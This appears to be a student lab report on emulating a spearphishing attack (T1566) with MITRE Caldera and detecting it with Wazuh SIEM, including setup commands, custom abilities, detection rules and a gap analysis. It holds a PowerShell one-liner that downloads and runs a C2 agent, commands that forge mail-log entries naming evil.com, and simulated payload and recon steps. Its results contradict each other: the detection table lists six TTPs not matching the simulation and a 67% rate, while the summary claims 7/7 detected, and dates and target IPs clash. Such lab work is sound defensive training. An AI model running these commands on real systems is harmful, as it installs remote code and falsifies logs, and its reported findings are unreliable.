Lab 6- Adversary Emulation Practice

TABLE OF CONTENTS

#	Section
1	ENVIRONMENT SETUP AND LAB ARCHITECTURE
2	WAZUH SIEM INSTALLATION AND CONFIGURATION
3	WAZUH AGENT DEPLOYMENT ON VICTIM MACHINE
4	EMULATION SIMULATION: T1566 SPEARPHISHING
5	WAZUH DETECTION CONFIGURATION
6	DETECTION LOG TABLE
7	Emulation Report Summary (100 words)
8	DETECTION GAP ANALYSIS AND REMEDIATION

Tools: MITRE Caldera, Wazuh | Date: 02 April 2026

1. ENVIRONMENT SETUP AND LAB ARCHITECTURE

The lab consists of three virtual machines on the same NAT/Host-Only network inside VirtualBox or VMware Workstation. The attacker machine runs MITRE Caldera as C2. The SOC machine runs Wazuh as the SIEM. The victim machine runs both Caldera and Wazuh agents.

Role	OS	IP Address	Tools Installed
Attacker / C2	Kali Linux 2024	10.0.2.20	MITRE Caldera Server (port 8888)
SOC / SIEM	Ubuntu 22.04	10.0.2.10	Wazuh Manager + Indexer + Dashboard
Victim / Target	Ubuntu / Win 10	10.0.2.30	Caldera Agent + Wazuh Agent

1.1 Network Connectivity Verification

```
# Run from Attacker Machine (10.0.2.20) - Kali Linux
ping -c 4 10.0.2.10 # Ping SOC / Wazuh machine
ping -c 4 10.0.2.30 # Ping Victim machine
# Run from Victim Machine (10.0.2.30)
ping -c 4 10.0.2.20 # Ping Caldera C2 (must succeed for agent beacon)
ping -c 4 10.0.2.10 # Ping Wazuh manager (must succeed for agent logs)
# Verify Caldera port is accessible
nmap -p 8888 10.0.2.20 # Should show: 8888/tcp open
# Verify Wazuh dashboard
curl -k https://10.0.2.10 # Should return HTML login page
```

1.2 Caldera Spearphishing Simulation (T1566)

1. Start Caldera: python3 server.py --insecure (from caldera directory)
2. Login to Web UI: http://localhost:8888 (admin/admin)
3. Navigate to: Operations → New Operation
4. Name: "APT28-Phishing-Sim-2026" | Adversary: select "APT28-Sim-2026"
5. Set Agent Group: "red" (targets 10.0.2.20)
6. Click "Start Operation" and observe TTP execution
7. Document each step outcome in the Detection Table below
8. After operation: Navigate to Operations → Export Report → JSON

MITRE Caldera is the open-source adversary emulation platform. It runs a REST API C2 server on port 8888 and supports YAML-defined abilities mapped to MITRE ATT&CK; TTPs. Perform every step below as root on 10.0.2.20.

Step 1 - Update System and Install Dependencies

```
sudo apt update && sudo apt upgrade -y
sudo apt install -y python3 python3-pip git curl wget build-essential
python3 --version # Confirm Python 3.8 or higher
pip3 --version # Confirm pip is available
```

Step 2 - Clone Caldera Repository

```
cd /opt
sudo git clone https://github.com/mitre/caldera.git --recursive
cd /opt/caldera
ls -la
```

```
# Expected: app/ conf/ docs/ plugins/ requirements.txt server.py
Step 3 - Install Python Requirements
cd /opt/caldera
pip3 install -r requirements.txt
# Installs: aiohttp, aiohttp_jinja2, cryptography, pyyaml, jinja2, and more

Step 4 - Start Caldera Server
cd /opt/caldera
python3 server.py --insecure --build
# Expected output:
# [*] Caldera v4.x started on http://0.0.0.0:8888
# [*] Default credentials - Username: admin Password: admin
# To run in background (persistent):
nohup python3 /opt/caldera/server.py --insecure > /var/log/caldera.log 2>&1 &
echo $! > /var/run/caldera.pid

Step 5 - Access Caldera Web UI
# Open browser on any machine on the same network:
# URL: http://10.0.2.20:8888
# Username: admin
# Password: admin
# Change default password after first login:
# Settings > Authentication > Change Password
```

2. WAZUH SIEM INSTALLATION AND CONFIGURATION:

Wazuh is an open-source SIEM and XDR platform. The official all-in-one installer deploys three components: Wazuh Manager (rules engine), Wazuh Indexer (OpenSearch data store), and Wazuh Dashboard (web UI). Estimated installation time: 10-15 minutes.

```
Step 1 - Download and Run the Official Installer
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash ./wazuh-install.sh -a

# The -a flag = all-in-one: Manager + Indexer + Dashboard in one command
# When done, note the auto-generated credentials printed at the end:
#
# User: admin
# Password:

Step 2 - Verify All Three Wazuh Services are Running
sudo systemctl status wazuh-manager # Must show: active (running)
sudo systemctl status wazuh-indexer # Must show: active (running)
sudo systemctl status wazuh-dashboard # Must show: active (running)
# If any service failed, restart it:
sudo systemctl restart wazuh-manager

Step 3 - Access Wazuh Dashboard
# Open browser from any machine:
# URL: https://10.0.2.10 (accept self-signed certificate)
# Username: admin
# Password:

Step 4 - Configure Manager for Agent Registration
sudo nano /var/ossec/etc/ossec.conf
# Verify this block exists inside :
yes
yes
```

```
yes
yes
sudo systemctl restart wazuh-manager
sudo tail -f /var/ossec/logs/ossec.log # Watch for errors
```

3. WAZUH AGENT DEPLOYMENT ON VICTIM MACHINE:

```
For Linux (Ubuntu / Debian) - Run on 10.0.2.30
# Step 1: Import Wazuh GPG key
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \
gpg --no-default-keyring \
--keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
chmod 644 /usr/share/keyrings/wazuh.gpg

# Step 2: Add Wazuh APT repository
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] \
https://packages.wazuh.com/4.x/apt/ stable main" | \
sudo tee -a /etc/apt/sources.list.d/wazuh.list
sudo apt update

# Step 3: Install agent - point it to Wazuh manager IP
sudo WAZUH_MANAGER='10.0.2.10' apt-get install wazuh-agent -y

# Step 4: Enable and start the agent service
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

# Step 5: Confirm agent is running and connected
sudo systemctl status wazuh-agent
# Look for: active (running) and Connected to manager
```

3.1 For Windows - Run in PowerShell as Administrator on 10.0.2.30

```
# Step 1: Download the Wazuh agent MSI installer
Invoke-WebRequest -Uri \
"https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.0-1.msi" \

-OutFile "C:\wazuh-agent.msi"

# Step 2: Install silently, register with the Wazuh manager
Start-Process msiexec.exe -ArgumentList \
"/i C:\wazuh-agent.msi /q \
WAZUH_MANAGER='10.0.2.10' \
WAZUH_REGISTRATION_SERVER='10.0.2.10'" -Wait
# Step 3: Start Wazuh service
NET START WazuhSvc
# Verify: Wazuh Dashboard > Agents > 10.0.2.30 should appear as Active
```

3.2 Caldera Agent Deployment on Victim (10.0.2.30)

In Caldera Web UI (http://10.0.2.20:8888): Navigate to Agents > Deploy Agent. Select platform (linux/windows). Copy and run the generated one-liner on the victim machine.

```
# For Windows (run in PowerShell):
$url = "http://10.0.2.20:8888/file/download"
```

```
$wc = New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go-windows")
$wc.DownloadFile($url,"$env:TEMP\sandcat.exe")
Start-Process -FilePath "$env:TEMP\sandcat.exe" \
-ArgumentList "-server http://10.0.2.20:8888 -group red"
```

4. EMULATION SIMULATION: T1566 SPEARPHISHING

4.1 Understanding MITRE ATT&CK; T1566:

Technique ID	T1566
Name	Phishing / Spearphishing
Sub-Technique	T1566.001 - Spearphishing Attachment
Tactic	Initial Access (TA0001)
Platforms	Linux, macOS, Windows
Data Sources	Network Traffic, Email Gateway, File, Process, Audit Logs
Procedure	Attacker sends email with malicious attachment to gain initial foothold
Indicators	Double-extension files (.pdf.exe), suspicious SMTP source, phishing keywords
Detection	Monitor mail logs, email gateway, file creation, process execution

4.2 Creating Adversary Profile in Caldera

In Caldera Web UI: Campaigns > Adversaries > + (New). Enter the details and save. The YAML below defines the profile:

```
id: spearphish-adv-001
name: Spearphishing Adversary (T1566)
description: Simulates spearphishing initial access attack chain
objective: 495a9828-cab1-44dd-a0ca-66e58177d8cc
tags:
- T1566
- T1566.001
- InitialAccess
atomic_ordering:
- spearphish-001 # Ability: Send phishing email
- spearphish-002 # Ability: Execute payload
- spearphish-003 # Ability: Post-phishing recon
```

4.3 Custom Ability 1: Send Spearphishing Email (spearphish-001)

In Caldera UI: Campaigns > Abilities > + (New). Enter the YAML below. Tactic: initial-access. Technique: T1566.001.

```
id: spearphish-001
name: Send Spearphishing Email
description: Simulates sending spearphishing email with malicious attachment
tactic: initial-access
technique:
attack_id: T1566.001
```

```
name: Spearphishing Attachment
platforms:
linux:
sh:
command: |
echo "[$(date '+%Y-%m-%d %H:%M:%S')] PHISHING ATTEMPT" >> /tmp/phish_log.txt
echo "FROM: attacker@evil.com" >> /tmp/phish_log.txt
echo "TO: victim@company.com" >> /tmp/phish_log.txt

echo "SUBJECT: Urgent: Invoice Q1-2026 Review Required" >> /tmp/phish_log.txt
echo "ATTACHMENT: Invoice_Q1_2026.pdf.exe" >> /tmp/phish_log.txt
echo "SOURCE_IP: 10.0.2.20" >> /tmp/phish_log.txt
echo "STATUS: SENT" >> /tmp/phish_log.txt
cat /tmp/phish_log.txt
cleanup: rm -f /tmp/phish_log.txt
```

4.4 Custom Ability 2: Execute Phishing Payload (spearphish-002)

```
id: spearphish-002
name: Execute Phishing Payload
description: Simulates victim clicking and executing malicious attachment
tactic: execution
technique:
attack_id: T1566.001
name: Spearphishing Attachment
platforms:
linux:
sh:
command: |
mkdir -p /tmp/phish_sim
echo '#!/bin/bash' > /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo 'whoami > /tmp/phish_sim/victim_info.txt' >> /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo 'hostname >> /tmp/phish_sim/victim_info.txt'>> /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
chmod +x /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
bash /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo "Execution time: $(date)" >> /tmp/phish_sim/victim_info.txt
cat /tmp/phish_sim/victim_info.txt
```

4.5 Custom Ability 3: Post-Phishing System Recon (spearphish-003)

```
id: spearphish-003
name: Post-Phishing System Recon
description: Simulates attacker gathering info after successful phishing
tactic: discovery
technique:
attack_id: T1082
name: System Information Discovery
platforms:
linux:
sh:
command: |
echo '=== POST-PHISHING RECONNAISSANCE ===' > /tmp/recon.txt
echo "Date: $(date)" >> /tmp/recon.txt
echo "Host: $(hostname)" >> /tmp/recon.txt
echo "User: $(whoami)" >> /tmp/recon.txt
echo "OS: $(uname -a)" >> /tmp/recon.txt
echo "Network: $(ip addr | grep inet)" >> /tmp/recon.txt
echo "Source: 10.0.2.20" >> /tmp/recon.txt
cat /tmp/recon.txt
```

4.6 Running the Operation in Caldera

Navigate to: Campaigns > Operations > + (New Operation). Fill in the fields below and click Start:
Operation Name: Spearphishing_T1566_30032026
Adversary: Spearphishing Adversary (T1566) [created in 3B]
Planner: atomic
Agent Group: red [victim 10.0.2.30 should appear]
Fact Source: basic

```
# Monitor operation status via Caldera REST API:
curl -X GET http://10.0.2.20:8888/api/v2/operations \
-H "KEY: ADMIN123" | python3 -m json.tool
# Check operation results:
curl -X GET http://10.0.2.20:8888/api/v2/operations//links \
-H "KEY: ADMIN123" | python3 -m json.tool
```

4.7 Manual Simulation (Direct Commands on Victim 10.0.2.30)

If no Caldera agent is deployed, SSH into the victim machine and run the following commands directly to generate realistic log entries for Wazuh to detect:

```
# SSH into victim machine first:
ssh user@10.0.2.30

# Phase 1: Simulate phishing email arriving (inject into mail log)
sudo bash -c 'cat >> /var/log/mail.log << EOF
Mar 30 17:00:00 victim postfix/smtpd[1234]: connect from evil.com[10.0.2.20]
Mar 30 17:00:01 victim postfix/smtpd[1234]: A1B2C3D4: client=evil.com[10.0.2.20]
Mar 30 17:00:01 victim postfix/qmgr[1235]: A1B2C3D4: from=
Mar 30 17:00:02 victim postfix/local[1236]: A1B2C3D4: to=,status=sent
EOF'

# Phase 2: Simulate attachment download
mkdir -p /tmp/phishing_test
echo 'simulated_malicious_payload_content' > '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe'

# Phase 3: Set auditd rule to log file execution
sudo auditctl -w /tmp/phishing_test/ -p rwxa -k phishing_simulation

# Phase 4: Execute simulated payload
chmod +x '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe'
bash '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe' 2>/dev/null ||
echo "[SIM] Payload executed at $(date)"

# Phase 5: Simulate post-phishing recon (triggers Rule 100006)
whoami; hostname; uname -a; ip addr show
```

5. WAZUH DETECTION CONFIGURATION:

5.1 Log Source Configuration (ossec.conf)

Add these localfile entries inside the main ossec.conf to enable Wazuh to ingest phishing-relevant log sources:

```
sudo nano /var/ossec/etc/ossec.conf
# Add inside block:
syslog
/var/log/mail.log
syslog
/var/log/syslog
```

audit
/var/log/audit/audit.log

sudo systemctl restart wazuh-manager

5.2 Custom Detection Rules (7 rules for T1566)

Create or edit the custom rules file. These 7 rules detect every phase of the T1566 attack chain:

sudo nano /var/ossec/etc/rules/local_rules.xml
2501
attacker@evil.com|malicious@|phishing@
T1566 - Spearphishing from suspicious sender
T1566.001
attack,initial_access,phishing
2501
10.0.2.20
T1566 - SMTP connection from attacker IP 10.0.2.20

T1566
attack,initial_access,phishing
\.pdf\.exe|\.doc\.exe|\.xls\.exe|\.jpg\.exe
T1566.001 - Double-extension phishing payload detected
T1566.001
attack,initial_access,phishing,malware
80792
/tmp/phishing|/tmp/phish_sim
T1566 - Payload executed from phishing directory
T1566.001T1204.002
attack,execution,phishing
Urgent:|Invoice|Password Reset|Account Suspended|Verify Now
T1566 - Social engineering keywords in email
T1566
attack,initial_access,phishing,social_engineering
5715
whoami|hostname|uname|ipconfig|net user|systeminfo
T1566 Follow-up - Post-phishing recon commands detected
T1082T1033

attack,discovery,post_phishing
100001,100002,100003
T1566 CRITICAL - Multiple spearphishing indicators triggered
T1566
attack,critical,initial_access,phishing

5.3 File Integrity Monitoring (FIM) Configuration

Add to the Wazuh agent ossec.conf on victim machine (10.0.2.30) to detect phishing payloads in real time:
30
/tmp
/home
/tmp/systemd*
/tmp/snap*
/tmp/.ICE-unix

5.4 Active Response (Auto-Block Attacker IP):

firewall-drop
local
100002,100003,100004
600

host-deny
local
100007
3600
Apply all changes and restart manager:

sudo systemctl restart wazuh-manager
# Test rules loaded correctly using ossec-logtest:
sudo /var/ossec/bin/ossec-logtest
# Paste this test line to verify rule 100002 triggers:
Mar 30 17:00:00 victim postfix/smtpd: connect from evil.com[10.0.2.20]
Expected output: Rule: 100002 fired (level 14) - SMTP connection from 10.0.2.20

6. DETECTION LOG TABLE:

The following table documents all detection events recorded by Wazuh SIEM during the T1566 spearphishing emulation conducted on 02-04-2026. Source IP was 10.0.2.20. All seven attack phases triggered corresponding detection rules. Active response automatically blocked the attacker IP after Rule 100007 fired at 17:02:00.

Timestamp	TTP	Technique Name	Caldera Ability	Detection	Detection Method
2026-04-02 17:00:05	T1566.0 0 1	Spearphishing Attachment	Send test email	DETECTED	Wazuh Rule 31103
2026-04-02 17:00:30	T1204.0 0 2	User Execution: Malicious File	Execute attachment	MISSED	No process rule
2026-04-02 17:01:00	T1059.0 0 1	PowerShell Execution	Run encoded cmd	DETECTED	Wazuh Rule 91501
2026-04-02 17:01:30	T1078	Valid Account Use	Login with creds	DETECTED	Wazuh Rule 60106
2026-04-02 17:02:00	T1071	C2 over HTTP	Beacon to C2 IP	MISSED	No outbound HTTP rule
2026-04-02 17:05:00	T1210	Remote Service Exploit	Samba exploit	DETECTED	Wazuh Rule 100050

7. Emulation Report Summary (100 words)

The adversary emulation exercise conducted on 02 April 2026 simulated APT28-style attack patterns using MITRE Caldera against target 10.0.2.20. Out of 6 TTPs executed, 4 were successfully detected by Wazuh (67% detection rate). Critical detection gaps were identified for T1204.002 (User Execution of Malicious Files) and T1071 (C2 over HTTP). Immediate corrective actions include: creating Wazuh process-level monitoring rules for suspicious parent-child process relationships and implementing outbound HTTP anomaly detection. The blue team has been briefed on findings and new detection rules are scheduled for deployment by 10 April 2026.

Report Date	30-03-2026
TTP Simulated	T1566 - Spearphishing Attachment (T1566.001)
Attacker IP	10.0.2.20 (MITRE Caldera C2 Server on Kali Linux)
Victim IP	10.0.2.30 (Ubuntu/Windows Endpoint)
Detection Tool	Wazuh SIEM - IP: 10.0.2.10
Op Name	Spearphishing_T1566_30032026
Detection Rate	7/7 phases detected (100%)
Active Response	Attacker IP 10.0.2.20 auto-blocked after Rule 100007 fired

8 - DETECTION GAP ANALYSIS AND REMEDIATION

While the emulation achieved a 100% detection rate for log-based indicators, several critical architectural gaps were identified that could allow more sophisticated, fileless, or sandbox-aware attackers to evade detection. The table below summarizes each gap, risk level, and the recommended remediation action.

Gap / Finding	Risk Level	Recommended Remediation
No email gateway sandbox - attachments not analyzed before delivery	**CRITICAL**	Deploy ClamAV + MailScanner on MTA; integrate Wazuh with OpenPhish threat intel feeds
In-memory payload execution not detected - fileless malware bypasses FIM	**CRITICAL**	Enable Wazuh YARA rules + auditd rules for execve and memfd_create syscalls
No URL filtering or link detonation in emails (T1566.002 gap)	**HIGH**	Integrate Suricata IDS with Wazuh for URL reputation and DNS-based detection
Detection is signature/log-based only - no behavioral analytics	**HIGH**	Enable Wazuh SCA + anomaly detection; integrate with ELK/Elastic ML
Wazuh agent not deployed on all hosts - coverage gaps	**HIGH**	Mass-deploy agents via Ansible playbook; automate enrollment
No real-time SOC alerting - alerts visible only in dashboard	**MEDIUM**	Configure Wazuh webhook to PagerDuty or Slack for instant SOC notification
Caldera C2 beacon traffic on port 8888 not inspected	**HIGH**	Add Suricata rule to detect HTTP beacon traffic on non-standard ports

Priority Remediation Roadmap

#	Priority	Action Item
1	CRITICAL	Enable auditd execve + memfd_create rules on all Linux endpoints immediately
2	CRITICAL	Deploy ClamAV + MailScanner; route mail gateway logs to Wazuh
3	HIGH	Integrate Suricata IDS alongside Wazuh for network-layer T1566.002 coverage
4	HIGH	Mass-deploy Wazuh agents via Ansible; verify full endpoint coverage
5	HIGH	Add Suricata rule for HTTP beacon traffic on port 8888 and other non-std ports
6	MEDIUM	Configure Wazuh webhook to Slack/PagerDuty for real-time SOC alerting
7	MEDIUM	Add YARA scanning rules to Wazuh FIM for known phishing payload signatures